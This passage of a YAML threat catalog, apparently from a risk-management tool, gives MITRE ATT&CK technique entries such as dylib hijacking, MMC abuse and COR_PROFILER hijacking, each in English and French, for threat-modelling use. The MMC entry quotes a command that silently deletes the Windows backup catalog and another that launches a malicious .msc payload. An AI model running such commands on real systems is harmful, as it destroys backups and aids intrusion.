  - urn: urn:intuitem:risk:threat:mitre-attack:t1048.003
    ref_id: T1048.003
    name: Exfiltration Over Unencrypted Non-C2 Protocol
    description: 'Adversaries may steal data by exfiltrating it over an un-encrypted
      network protocol other than that of the existing command and control channel.
      The data may also be sent to an alternate network location from the main command
      and control server.(Citation: copy_cmd_cisco)


      Adversaries may opt to obfuscate this data, without the use of encryption, within
      network protocols that are natively unencrypted (such as HTTP, FTP, or DNS).
      This may include custom or publicly available encoding/compression algorithms
      (such as base64) as well as embedding data within protocol headers and fields.

      https://attack.mitre.org/techniques/T1048/003'
    translations:
      fr:
        name: "Exfiltration via un protocole non C2 non chiffr\xE9"
        description: "Les adversaires peuvent voler des donn\xE9es en les exfiltrant\
          \ via un protocole r\xE9seau non chiffr\xE9 autre que celui du canal de\
          \ commande et de contr\xF4le existant. Les donn\xE9es peuvent \xE9galement\
          \ \xEAtre envoy\xE9es \xE0 un autre emplacement r\xE9seau \xE0 partir du\
          \ serveur de commande et de contr\xF4le principal. (R\xE9f\xE9rence : copy_cmd_cisco)\n\
          \nLes adversaires peuvent choisir d\u2019obscurcir ces donn\xE9es, sans\
          \ utiliser de chiffrement, dans des protocoles r\xE9seau qui ne sont pas\
          \ chiffr\xE9s en mode natif (tels que HTTP, FTP ou DNS). Il peut s\u2019\
          agir d\u2019algorithmes d\u2019encodage/compression personnalis\xE9s ou\
          \ accessibles au public (tels que base64), ainsi que de l\u2019int\xE9gration\
          \ de donn\xE9es dans des en-t\xEAtes et des champs de protocole.\nhttps://attack.mitre.org/techniques/T1048/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574.004
    ref_id: T1574.004
    name: Dylib Hijacking
    description: 'Adversaries may execute their own payloads by placing a malicious
      dynamic library (dylib) with an expected name in a path a victim application
      searches at runtime. The dynamic loader will try to find the dylibs based on
      the sequential order of the search paths. Paths to dylibs may be prefixed with
      <code>@rpath</code>, which allows developers to use relative paths to specify
      an array of search paths used at runtime based on the location of the executable.  Additionally,
      if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function,
      an application will still execute even if an expected dylib is not present.
      Weak linking enables developers to run an application on multiple macOS versions
      as new APIs are added.


      Adversaries may gain execution by inserting malicious dylibs with the name of
      the missing dylib in the identified path.(Citation: Wardle Dylib Hijack Vulnerable
      Apps)(Citation: Wardle Dylib Hijacking OSX 2015)(Citation: Github EmpireProject
      HijackScanner)(Citation: Github EmpireProject CreateHijacker Dylib) Dylibs are
      loaded into an application''s address space allowing the malicious dylib to
      inherit the application''s privilege level and resources. Based on the application,
      this could result in privilege escalation and uninhibited network access. This
      method may also evade detection from security products since the execution is
      masked under a legitimate process.(Citation: Writing Bad Malware for OSX)(Citation:
      wardle artofmalware volume1)(Citation: MalwareUnicorn macOS Dylib Injection
      MachO)

      https://attack.mitre.org/techniques/T1574/004'
    translations:
      fr:
        name: "D\xE9tournement de Dylib"
        description: "Les adversaires peuvent ex\xE9cuter leurs propres charges utiles\
          \ en pla\xE7ant une biblioth\xE8que dynamique malveillante (dylib) avec\
          \ un nom attendu dans un chemin d\u2019acc\xE8s qu\u2019une application\
          \ victime recherche au moment de l\u2019ex\xE9cution. Le chargeur dynamique\
          \ essaiera de trouver les dylibs en fonction de l\u2019ordre s\xE9quentiel\
          \ des chemins de recherche. Les chemins d\u2019acc\xE8s aux dylibs peuvent\
          \ \xEAtre pr\xE9c\xE9d\xE9s <code>d\u2019un @rpath</code>, ce qui permet\
          \ aux d\xE9veloppeurs d\u2019utiliser des chemins relatifs pour sp\xE9cifier\
          \ un tableau de chemins de recherche utilis\xE9s au moment de l\u2019ex\xE9\
          cution en fonction de l\u2019emplacement de l\u2019ex\xE9cutable.  De plus,\
          \ si une liaison faible est utilis\xE9e, telle que la fonction <code>LC_LOAD_WEAK_DYLIB</code>,\
          \ une application s\u2019ex\xE9cutera toujours m\xEAme si une dylib attendue\
          \ n\u2019est pas pr\xE9sente. Les liens faibles permettent aux d\xE9veloppeurs\
          \ d\u2019ex\xE9cuter une application sur plusieurs versions de macOS au\
          \ fur et \xE0 mesure que de nouvelles API sont ajout\xE9es.\n\nLes adversaires\
          \ peuvent obtenir l\u2019ex\xE9cution en ins\xE9rant des dylibs malveillants\
          \ avec le nom du dylib manquant dans le chemin identifi\xE9. (Citation :\
          \ Wardle Dylib Hijack Vulnerable Apps)(Citation : Wardle Dylib Hijacking\
          \ OSX 2015)(Citation : Github EmpireProject HijackScanner)(Citation : Github\
          \ EmpireProject CreateHijacker Dylib) Les Dylib sont charg\xE9s dans l\u2019\
          espace d\u2019adressage d\u2019une application, ce qui permet \xE0 la dylib\
          \ malveillante d\u2019h\xE9riter du niveau de privil\xE8ge et des ressources\
          \ de l\u2019application. Selon l\u2019application, cela peut entra\xEEner\
          \ une \xE9l\xE9vation de privil\xE8ges et un acc\xE8s r\xE9seau sans entrave.\
          \ Cette m\xE9thode peut \xE9galement \xE9chapper \xE0 la d\xE9tection des\
          \ produits de s\xE9curit\xE9 puisque l\u2019ex\xE9cution est masqu\xE9e\
          \ par un processus l\xE9gitime. (Citation : \xC9crire un mauvais logiciel\
          \ malveillant pour OSX)(Citation : wardle artofmalware volume1)(Citation\
          \ : MalwareUnicorn macOS Dylib Injection MachO)\nhttps://attack.mitre.org/techniques/T1574/004"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1601.002
    ref_id: T1601.002
    name: Downgrade System Image
    description: 'Adversaries may install an older version of the operating system
      of a network device to weaken security.  Older operating system versions on
      network devices often have weaker encryption ciphers and, in general, fewer/less
      updated defensive features. (Citation: Cisco Synful Knock Evolution)


      On embedded devices, downgrading the version typically only requires replacing
      the operating system file in storage.  With most embedded devices, this can
      be achieved by downloading a copy of the desired version of the operating system
      file and reconfiguring the device to boot from that file on next system restart.  The
      adversary could then restart the device to implement the change immediately
      or they could wait until the next time the system restarts.


      Downgrading the system image to an older versions may allow an adversary to
      evade defenses by enabling behaviors such as [Weaken Encryption](https://attack.mitre.org/techniques/T1600).  Downgrading
      of a system image can be done on its own, or it can be used in conjunction with
      [Patch System Image](https://attack.mitre.org/techniques/T1601/001).

      https://attack.mitre.org/techniques/T1601/002'
    translations:
      fr:
        name: "R\xE9trograder l\u2019image syst\xE8me"
        description: "Les adversaires peuvent installer une ancienne version du syst\xE8\
          me d\u2019exploitation d\u2019un p\xE9riph\xE9rique r\xE9seau pour affaiblir\
          \ la s\xE9curit\xE9.  Les anciennes versions du syst\xE8me d\u2019exploitation\
          \ sur les p\xE9riph\xE9riques r\xE9seau ont souvent des chiffrements de\
          \ chiffrement plus faibles et, en g\xE9n\xE9ral, des fonctionnalit\xE9s\
          \ d\xE9fensives moins nombreuses/moins mises \xE0 jour. (Citation : Cisco\
          \ Synful Knock Evolution)\n\nSur les p\xE9riph\xE9riques int\xE9gr\xE9s,\
          \ la r\xE9trogradation de la version ne n\xE9cessite g\xE9n\xE9ralement\
          \ que le remplacement du fichier du syst\xE8me d\u2019exploitation dans\
          \ le stockage.  Avec la plupart des p\xE9riph\xE9riques int\xE9gr\xE9s,\
          \ cela peut \xEAtre r\xE9alis\xE9 en t\xE9l\xE9chargeant une copie de la\
          \ version souhait\xE9e du fichier du syst\xE8me d\u2019exploitation et en\
          \ reconfigurant le p\xE9riph\xE9rique pour qu\u2019il d\xE9marre \xE0 partir\
          \ de ce fichier au prochain red\xE9marrage du syst\xE8me.  L\u2019adversaire\
          \ peut alors red\xE9marrer l\u2019appareil pour mettre en \u0153uvre la\
          \ modification imm\xE9diatement ou attendre le prochain red\xE9marrage du\
          \ syst\xE8me.\n\nLa r\xE9trogradation de l\u2019image syst\xE8me vers une\
          \ version ant\xE9rieure peut permettre \xE0 un adversaire d\u2019\xE9chapper\
          \ aux d\xE9fenses en activant des comportements tels que [Affaiblir le chiffrement](https://attack.mitre.org/techniques/T1600).\
          \  La r\xE9trogradation d\u2019une image syst\xE8me peut \xEAtre effectu\xE9\
          e seule ou elle peut \xEAtre utilis\xE9e conjointement avec [Patch System\
          \ Image](https://attack.mitre.org/techniques/T1601/001).\nhttps://attack.mitre.org/techniques/T1601/002"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1078.003
    ref_id: T1078.003
    name: Local Accounts
    description: 'Adversaries may obtain and abuse credentials of a local account
      as a means of gaining Initial Access, Persistence, Privilege Escalation, or
      Defense Evasion. Local accounts are those configured by an organization for
      use by users, remote support, services, or for administration on a single system
      or service.


      Local Accounts may also be abused to elevate privileges and harvest credentials
      through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).
      Password reuse may allow the abuse of local accounts across a set of machines
      on a network for the purposes of Privilege Escalation and Lateral Movement.

      https://attack.mitre.org/techniques/T1078/003'
    translations:
      fr:
        name: Comptes locaux
        description: "Les adversaires peuvent obtenir et abuser des identifiants d\u2019\
          un compte local comme moyen d\u2019obtenir l\u2019acc\xE8s initial, la persistance,\
          \ l\u2019\xE9l\xE9vation de privil\xE8ges ou l\u2019\xE9vasion de la d\xE9\
          fense. Les comptes locaux sont ceux configur\xE9s par une organisation pour\
          \ une utilisation par les utilisateurs, le support \xE0 distance, les services\
          \ ou pour l\u2019administration sur un syst\xE8me ou un service unique.\n\
          \nLes comptes locaux peuvent \xE9galement \xEAtre utilis\xE9s de mani\xE8\
          re abusive pour \xE9lever les privil\xE8ges et r\xE9colter des informations\
          \ d\u2019identification via [Vidage des informations d\u2019identification\
          \ du syst\xE8me d\u2019exploitation](https://attack.mitre.org/techniques/T1003).\
          \ La r\xE9utilisation du mot de passe peut permettre l\u2019utilisation\
          \ abusive de comptes locaux sur un ensemble de machines sur un r\xE9seau\
          \ \xE0 des fins d\u2019\xE9l\xE9vation de privil\xE8ges et de mouvement\
          \ lat\xE9ral.\nhttps://attack.mitre.org/techniques/T1078/003"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1211
    ref_id: T1211
    name: Exploitation for Defense Evasion
    description: "Adversaries may exploit a system or application vulnerability to\
      \ bypass security features. Exploitation of a vulnerability occurs when an adversary\
      \ takes advantage of a programming error in a program, service, or within the\
      \ operating system software or kernel itself to execute adversary-controlled\
      \ code.\_Vulnerabilities may exist in defensive security software that can be\
      \ used to disable or circumvent them.\n\nAdversaries may have prior knowledge\
      \ through reconnaissance that security software exists within an environment\
      \ or they may perform checks during or shortly after the system is compromised\
      \ for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001).\
      \ The security software will likely be targeted directly for exploitation. There\
      \ are examples of antivirus software being targeted by persistent threat groups\
      \ to avoid detection.\n\nThere have also been examples of vulnerabilities in\
      \ public cloud infrastructure of SaaS applications that may bypass defense boundaries\
      \ (Citation: Salesforce zero-day in facebook phishing attack), evade security\
      \ logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden\
      \ infrastructure.(Citation: GhostToken GCP flaw)\nhttps://attack.mitre.org/techniques/T1211"
    translations:
      fr:
        name: "L\u2019exploitation \xE0 des fins d\u2019\xE9vasion de d\xE9fense"
        description: "Les adversaires peuvent exploiter une vuln\xE9rabilit\xE9 d\u2019\
          un syst\xE8me ou d\u2019une application pour contourner les fonctionnalit\xE9\
          s de s\xE9curit\xE9. L\u2019exploitation d\u2019une vuln\xE9rabilit\xE9\
          \ se produit lorsqu\u2019un adversaire tire parti d\u2019une erreur de programmation\
          \ dans un programme, un service ou dans le logiciel ou le noyau du syst\xE8\
          me d\u2019exploitation lui-m\xEAme pour ex\xE9cuter du code contr\xF4l\xE9\
          \ par l\u2019adversaire.\_Des vuln\xE9rabilit\xE9s peuvent exister dans\
          \ les logiciels de s\xE9curit\xE9 d\xE9fensive qui peuvent \xEAtre utilis\xE9\
          es pour les d\xE9sactiver ou les contourner.\n\nLes adversaires peuvent\
          \ avoir connaissance, gr\xE2ce \xE0 la reconnaissance, de l\u2019existence\
          \ d\u2019un logiciel de s\xE9curit\xE9 dans un environnement, ou ils peuvent\
          \ effectuer des v\xE9rifications pendant ou peu de temps apr\xE8s la compromission\
          \ du syst\xE8me pour [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001).\
          \ Le logiciel de s\xE9curit\xE9 sera probablement cibl\xE9 directement pour\
          \ \xEAtre exploit\xE9. Il existe des exemples de logiciels antivirus cibl\xE9\
          s par des groupes de menaces persistants pour \xE9viter d\u2019\xEAtre d\xE9\
          tect\xE9s.\n\nIl existe \xE9galement des exemples de vuln\xE9rabilit\xE9\
          s dans l\u2019infrastructure de cloud public d\u2019applications SaaS qui\
          \ peuvent contourner les limites de d\xE9fense (Citation : Salesforce zero-day\
          \ dans l\u2019attaque de phishing Facebook), \xE9chapper aux journaux de\
          \ s\xE9curit\xE9 (Citation : Contourner CloudTrail dans AWS Service Catalog)\
          \ ou d\xE9ployer une infrastructure cach\xE9e. (Citation : Faille GCP de\
          \ GhostToken)\nhttps://attack.mitre.org/techniques/T1211"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1127
    ref_id: T1127
    name: Trusted Developer Utilities Proxy Execution
    description: 'Adversaries may take advantage of trusted developer utilities to
      proxy execution of malicious payloads. There are many utilities used for software
      development related tasks that can be used to execute code in various forms
      to assist in development, debugging, and reverse engineering.(Citation: engima0x3
      DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation:
      LOLBAS Tracker) These utilities may often be signed with legitimate certificates
      that allow them to execute on a system and proxy execution of malicious code
      through a trusted process that effectively bypasses application control solutions.

      https://attack.mitre.org/techniques/T1127'
    translations:
      fr:
        name: "Ex\xE9cution du proxy Trusted Developer Utilities"
        description: "Les adversaires peuvent tirer parti d\u2019utilitaires de d\xE9\
          veloppement approuv\xE9s pour proxy l\u2019ex\xE9cution de charges utiles\
          \ malveillantes. Il existe de nombreux utilitaires utilis\xE9s pour les\
          \ t\xE2ches li\xE9es au d\xE9veloppement de logiciels qui peuvent \xEAtre\
          \ utilis\xE9s pour ex\xE9cuter du code sous diverses formes afin d\u2019\
          aider au d\xE9veloppement, au d\xE9bogage et \xE0 la r\xE9tro-ing\xE9nierie.\
          \ (Citation : engima0x3 DNX Bypass)(Citation : engima0x3 RCSI Bypass)(Citation\
          \ : Exploit Monday WinDbg)(Citation : LOLBAS Tracker) Ces utilitaires peuvent\
          \ souvent \xEAtre sign\xE9s avec des certificats l\xE9gitimes qui leur permettent\
          \ de s\u2019ex\xE9cuter sur un syst\xE8me et l\u2019ex\xE9cution proxy de\
          \ code malveillant par le biais d\u2019un processus fiable qui contourne\
          \ efficacement les solutions de contr\xF4le des applications.\nhttps://attack.mitre.org/techniques/T1127"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1529
    ref_id: T1529
    name: System Shutdown/Reboot
    description: 'Adversaries may shutdown/reboot systems to interrupt access to,
      or aid in the destruction of, those systems. Operating systems may contain commands
      to initiate a shutdown/reboot of a machine or network device. In some cases,
      these commands may also be used to initiate a shutdown/reboot of a remote computer
      or network device via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
      (e.g. <code>reload</code>).(Citation: Microsoft Shutdown Oct 2017)(Citation:
      alert_TA18_106A)


      Shutting down or rebooting systems may disrupt access to computer resources
      for legitimate users while also impeding incident response/recovery.


      Adversaries may attempt to shutdown/reboot a system after impacting it in other
      ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002)
      or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to
      hasten the intended effects on system availability.(Citation: Talos Nyetya June
      2017)(Citation: Talos Olympic Destroyer 2018)

      https://attack.mitre.org/techniques/T1529'
    translations:
      fr:
        name: "Arr\xEAt/red\xE9marrage du syst\xE8me"
        description: "Les adversaires peuvent arr\xEAter/red\xE9marrer les syst\xE8\
          mes pour interrompre l\u2019acc\xE8s \xE0 ces syst\xE8mes ou aider \xE0\
          \ leur destruction. Les syst\xE8mes d\u2019exploitation peuvent contenir\
          \ des commandes permettant de lancer l\u2019arr\xEAt/le red\xE9marrage d\u2019\
          une machine ou d\u2019un p\xE9riph\xE9rique r\xE9seau. Dans certains cas,\
          \ ces commandes peuvent \xE9galement \xEAtre utilis\xE9es pour lancer l\u2019\
          arr\xEAt/le red\xE9marrage d\u2019un ordinateur distant ou d\u2019un p\xE9\
          riph\xE9rique r\xE9seau via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)\
          \ (par exemple, <code>reload</code>). (Citation : Fermeture de Microsoft\
          \ en octobre 2017)(R\xE9f\xE9rence : alert_TA18_106A)\n\nL\u2019arr\xEA\
          t ou le red\xE9marrage des syst\xE8mes peut perturber l\u2019acc\xE8s aux\
          \ ressources informatiques pour les utilisateurs l\xE9gitimes tout en entravant\
          \ la r\xE9ponse et la r\xE9cup\xE9ration en cas d\u2019incident.\n\nLes\
          \ adversaires peuvent tenter d\u2019arr\xEAter/red\xE9marrer un syst\xE8\
          me apr\xE8s l\u2019avoir affect\xE9 d\u2019autres mani\xE8res, telles que\
          \ [Effacement de la structure du disque](https://attack.mitre.org/techniques/T1561/002)\
          \ ou [Inhiber la r\xE9cup\xE9ration du syst\xE8me](https://attack.mitre.org/techniques/T1490),\
          \ afin d\u2019acc\xE9l\xE9rer les effets escompt\xE9s sur la disponibilit\xE9\
          \ du syst\xE8me. (R\xE9f\xE9rence : Talos Nyetya, juin 2017)(Citation :\
          \ Talos Olympic Destroyer 2018)\nhttps://attack.mitre.org/techniques/T1529"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1218.014
    ref_id: T1218.014
    name: MMC
    description: "Adversaries may abuse mmc.exe to proxy execution of malicious .msc\
      \ files. Microsoft Management Console (MMC) is a binary that may be signed by\
      \ Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation:\
      \ win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save\
      \ custom consoles that contain administrative tools created by Microsoft, called\
      \ snap-ins. These snap-ins may be used to manage Windows systems locally or\
      \ remotely. MMC can also be used to open Microsoft created .msc files to manage\
      \ system configuration.(Citation: win_msc_files_overview)\n\nFor example, <code>mmc\
      \ C:\\Users\\foo\\admintools.msc /a</code> will open a custom, saved console\
      \ msc file in author mode.(Citation: win_mmc) Another common example is <code>mmc\
      \ gpedit.msc</code>, which will open the Group Policy Editor application window.\
      \ \n\nAdversaries may use MMC commands to perform malicious tasks. For example,\
      \ <code>mmc wbadmin.msc delete catalog -quiet</code> deletes the backup catalog\
      \ on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490))\
      \ without prompts to the user (Note: <code>wbadmin.msc</code> may only be present\
      \ by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation:\
      \ phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious\
      \ .msc files. For example, adversaries may first create a malicious registry\
      \ Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object\
      \ Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation:\
      \ win_clsid_key) Then, adversaries may create custom consoles with the \u201C\
      Link to Web Address\u201D snap-in that is linked to the malicious CLSID subkey.(Citation:\
      \ mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious\
      \ CLSID payload with the following command: <code>mmc.exe -Embedding C:\\path\\\
      to\\test.msc</code>.(Citation: abusing_com_reg)\nhttps://attack.mitre.org/techniques/T1218/014"
    translations:
      fr:
        name: MMC
        description: "Les adversaires peuvent abuser de l\u2019ex\xE9cution mmc.exe\
          \ proxy de fichiers .msc malveillants. Microsoft Management Console (MMC)\
          \ est un fichier binaire qui peut \xEAtre sign\xE9 par Microsoft et qui\
          \ est utilis\xE9 de plusieurs fa\xE7ons dans son interface graphique ou\
          \ dans une invite de commandes. (R\xE9f\xE9rence : win_mmc)(R\xE9f\xE9rence\
          \ : what_is_mmc) MMC peut \xEAtre utilis\xE9 pour cr\xE9er, ouvrir et enregistrer\
          \ des consoles personnalis\xE9es contenant des outils d\u2019administration\
          \ cr\xE9\xE9s par Microsoft, appel\xE9s composants logiciels enfichables.\
          \ Ces composants logiciels enfichables peuvent \xEAtre utilis\xE9s pour\
          \ g\xE9rer les syst\xE8mes Windows localement ou \xE0 distance. MMC peut\
          \ \xE9galement \xEAtre utilis\xE9 pour ouvrir des fichiers .msc cr\xE9\xE9\
          s par Microsoft afin de g\xE9rer la configuration du syst\xE8me. (R\xE9\
          f\xE9rence : win_msc_files_overview)\n\nPar exemple, <code>mmc C\_:\\Users\\\
          foo\\admintools.msc /a</code> ouvrira un fichier msc de console personnalis\xE9\
          \ et enregistr\xE9 en mode auteur. (R\xE9f\xE9rence : win_mmc) Un autre\
          \ exemple courant est <code>mmc gpedit.msc</code>, qui ouvrira la fen\xEA\
          tre de l\u2019application \xC9diteur de strat\xE9gie de groupe. \n\nLes\
          \ adversaires peuvent utiliser des commandes MMC pour effectuer des t\xE2\
          ches malveillantes. Par exemple, <code>mmc wbadmin.msc delete catalog -quiet</code>\
          \ supprime le catalogue de sauvegarde sur le syst\xE8me (c\u2019est-\xE0\
          -dire [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490))\
          \ sans invite \xE0 l\u2019utilisateur (Remarque : <code>wbadmin.msc</code>\
          \ peut n\u2019\xEAtre pr\xE9sent par d\xE9faut que sur les syst\xE8mes d\u2019\
          exploitation Windows Server). (R\xE9f\xE9rence : win_wbadmin_delete_catalog)(R\xE9\
          f\xE9rence : phobos_virustotal)\n\nLes adversaires peuvent \xE9galement\
          \ abuser de MMC pour ex\xE9cuter des fichiers .msc malveillants. Par exemple,\
          \ les adversaires peuvent d\u2019abord cr\xE9er une sous-cl\xE9 CLSID (Registry\
          \ Class Identifier) malveillante, qui identifie de mani\xE8re unique un\
          \ objet de classe [Component Object Model](https://attack.mitre.org/techniques/T1559/001).\
          \ (R\xE9f\xE9rence : win_clsid_key) Ensuite, les adversaires peuvent cr\xE9\
          er des consoles personnalis\xE9es avec le composant logiciel enfichable\
          \ \xAB Lien vers l\u2019adresse Web \xBB qui est li\xE9 \xE0 la sous-cl\xE9\
          \ CLSID malveillante. (R\xE9f\xE9rence : mmc_vulns) Une fois le fichier\
          \ .msc enregistr\xE9, les adversaires peuvent appeler la charge utile CLSID\
          \ malveillante avec la commande suivante : <code>mmc.exe -Embedding C\_\
          :\\path\\to\\test.msc</code>. (R\xE9f\xE9rence : abusing_com_reg)\nhttps://attack.mitre.org/techniques/T1218/014"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1564.010
    ref_id: T1564.010
    name: Process Argument Spoofing
    description: 'Adversaries may attempt to hide process command-line arguments by
      overwriting process memory. Process command-line arguments are stored in the
      process environment block (PEB), a data structure used by Windows to store various
      information about/used by a process. The PEB includes the process command-line
      arguments that are referenced when executing the process. When a process is
      created, defensive tools/sensors that monitor process creations may retrieve
      the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation:
      Xpn Argue Like Cobalt 2019)


      Adversaries may manipulate a process PEB to evade defenses. For example, [Process
      Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn
      a process in a suspended state with benign arguments. After the process is spawned
      and the PEB is initialized (and process information is potentially logged by
      tools/sensors), adversaries may override the PEB to modify the command-line
      arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106)
      <code>WriteProcessMemory()</code> function) then resume process execution with
      malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue
      Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)


      Adversaries may also execute a process with malicious command-line arguments
      then patch the memory with benign arguments that may bypass subsequent process
      memory analysis.(Citation: FireEye FiveHands April 2021)


      This behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004))
      to manipulate or further evade process-based detections.

      https://attack.mitre.org/techniques/T1564/010'
    translations:
      fr:
        name: "Usurpation d\u2019argument de processus"
        description: "Les adversaires peuvent tenter de masquer les arguments de ligne\
          \ de commande du processus en \xE9crasant la m\xE9moire du processus. Les\
          \ arguments de ligne de commande de processus sont stock\xE9s dans le bloc\
          \ d\u2019environnement de processus (PEB), une structure de donn\xE9es utilis\xE9\
          e par Windows pour stocker diverses informations sur/utilis\xE9es par un\
          \ processus. Le PEB inclut les arguments de ligne de commande du processus\
          \ qui sont r\xE9f\xE9renc\xE9s lors de l\u2019ex\xE9cution du processus.\
          \ Lorsqu\u2019un processus est cr\xE9\xE9, des outils/capteurs d\xE9fensifs\
          \ qui surveillent les cr\xE9ations de processus peuvent r\xE9cup\xE9rer\
          \ les arguments de processus \xE0 partir du PEB. (Citation : Microsoft PEB\
          \ 2021)(Citation : Xpn Argue Like Cobalt 2019)\n\nLes adversaires peuvent\
          \ manipuler un processus PEB pour \xE9chapper aux d\xE9fenses. Par exemple,\
          \ [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) peut\
          \ \xEAtre utilis\xE9 de mani\xE8re abusive pour g\xE9n\xE9rer un processus\
          \ dans un \xE9tat suspendu avec des arguments b\xE9nins. Une fois que le\
          \ processus est g\xE9n\xE9r\xE9 et que le PEB est initialis\xE9 (et que\
          \ les informations de processus sont potentiellement enregistr\xE9es par\
          \ les outils/capteurs), les adversaires peuvent remplacer le PEB pour modifier\
          \ les arguments de la ligne de commande (par exemple : \xE0 l\u2019aide\
          \ de la fonction <code>WriteProcessMemory()</code> [Native API](https://attack.mitre.org/techniques/T1106))\
          \ puis reprendre l\u2019ex\xE9cution du processus avec des arguments malveillants.\
          \ (Citation : Arguments sur la gr\xE8ve de Cobalt 2019)(Citation : Xpn Argue\
          \ Like Cobalt 2019)(Citation : Nviso Spoof Command Line 2020)\n\nLes adversaires\
          \ peuvent \xE9galement ex\xE9cuter un processus avec des arguments de ligne\
          \ de commande malveillants, puis corriger la m\xE9moire avec des arguments\
          \ b\xE9nins qui peuvent contourner l\u2019analyse ult\xE9rieure de la m\xE9\
          moire du processus. (Citation : FireEye FiveHands, avril 2021)\n\nCe comportement\
          \ peut \xE9galement \xEAtre combin\xE9 \xE0 d\u2019autres astuces (telles\
          \ que [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004))\
          \ pour manipuler ou \xE9chapper davantage aux d\xE9tections bas\xE9es sur\
          \ le processus.\nhttps://attack.mitre.org/techniques/T1564/010"
  - urn: urn:intuitem:risk:threat:mitre-attack:t1574.012
    ref_id: T1574.012
    name: COR_PROFILER
    description: 'Adversaries may leverage the COR_PROFILER environment variable to
      hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER
      is a .NET Framework feature which allows developers to specify an unmanaged
      (or external of .NET) profiling DLL to be loaded into each .NET process that
      loads the Common Language Runtime (CLR). These profilers are designed to monitor,
      troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft
      Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013)


      The COR_PROFILER environment variable can be set at various scopes (system,
      user, or process) resulting in different levels of influence. System and user-wide
      environment variable scopes are specified in the Registry, where a [Component
      Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can
      be registered as a profiler DLL. A process scope COR_PROFILER can also be created
      in-memory without modifying the Registry. Starting with .NET Framework 4, the
      profiling DLL does not need to be registered as long as the location of the
      DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft
      COR_PROFILER Feb 2013)


      Adversaries may abuse COR_PROFILER to establish persistence that executes a
      malicious DLL in the context of all .NET processes every time the CLR is invoked.
      The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account
      Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET
      process executes at a higher permission level, as well as to hook and [Impair
      Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation:
      RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation:
      Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation:
      subTee .NET Profilers May 2017)

      https://attack.mitre.org/techniques/T1574/012'
    translations:
      fr:
        name: COR_PROFILER
        description: "Les adversaires peuvent exploiter la variable d\u2019environnement\
          \ COR_PROFILER pour d\xE9tourner le flux d\u2019ex\xE9cution des programmes\
          \ qui chargent le CLR .NET. Le COR_PROFILER est une fonctionnalit\xE9 du\
          \ .NET Framework qui permet aux d\xE9veloppeurs de sp\xE9cifier une DLL\
          \ de profilage non g\xE9r\xE9e (ou externe \xE0 .NET) \xE0 charger dans\
          \ chaque processus .NET qui charge le Common Language Runtime (CLR). Ces\
          \ profileurs sont con\xE7us pour surveiller, d\xE9panner et d\xE9boguer\
          \ le code g\xE9r\xE9 ex\xE9cut\xE9 par le CLR .NET. (Citation : Microsoft\
          \ Profiling mars 2017)(Citation : Microsoft COR_PROFILER f\xE9vrier 2013)\n\
          \nLa variable d\u2019environnement COR_PROFILER peut \xEAtre d\xE9finie\
          \ sur diff\xE9rentes \xE9tendues (syst\xE8me, utilisateur ou processus),\
          \ ce qui entra\xEEne diff\xE9rents niveaux d\u2019influence. Les \xE9tendues\
          \ des variables d\u2019environnement syst\xE8me et \xE0 l\u2019\xE9chelle\
          \ de l\u2019utilisateur sont sp\xE9cifi\xE9es dans le registre, o\xF9 un\
          \ objet [Component Object Model](https://attack.mitre.org/techniques/T1559/001)\
          \ (COM) peut \xEAtre enregistr\xE9 en tant que DLL de profileur. Une COR_PROFILER\
          \ d\u2019\xE9tendue de processus peut \xE9galement \xEAtre cr\xE9\xE9e en\
          \ m\xE9moire sans modifier le registre. \xC0 partir de .NET Framework 4,\
          \ il n\u2019est pas n\xE9cessaire d\u2019inscrire la DLL de profilage tant\
          \ que l\u2019emplacement de la DLL est sp\xE9cifi\xE9 dans la variable d\u2019\
          environnement COR_PROFILER_PATH. (Citation : Microsoft COR_PROFILER f\xE9\
          vrier 2013)\n\nLes adversaires peuvent abuser de COR_PROFILER pour \xE9\
          tablir une persistance qui ex\xE9cute une DLL malveillante dans le contexte\
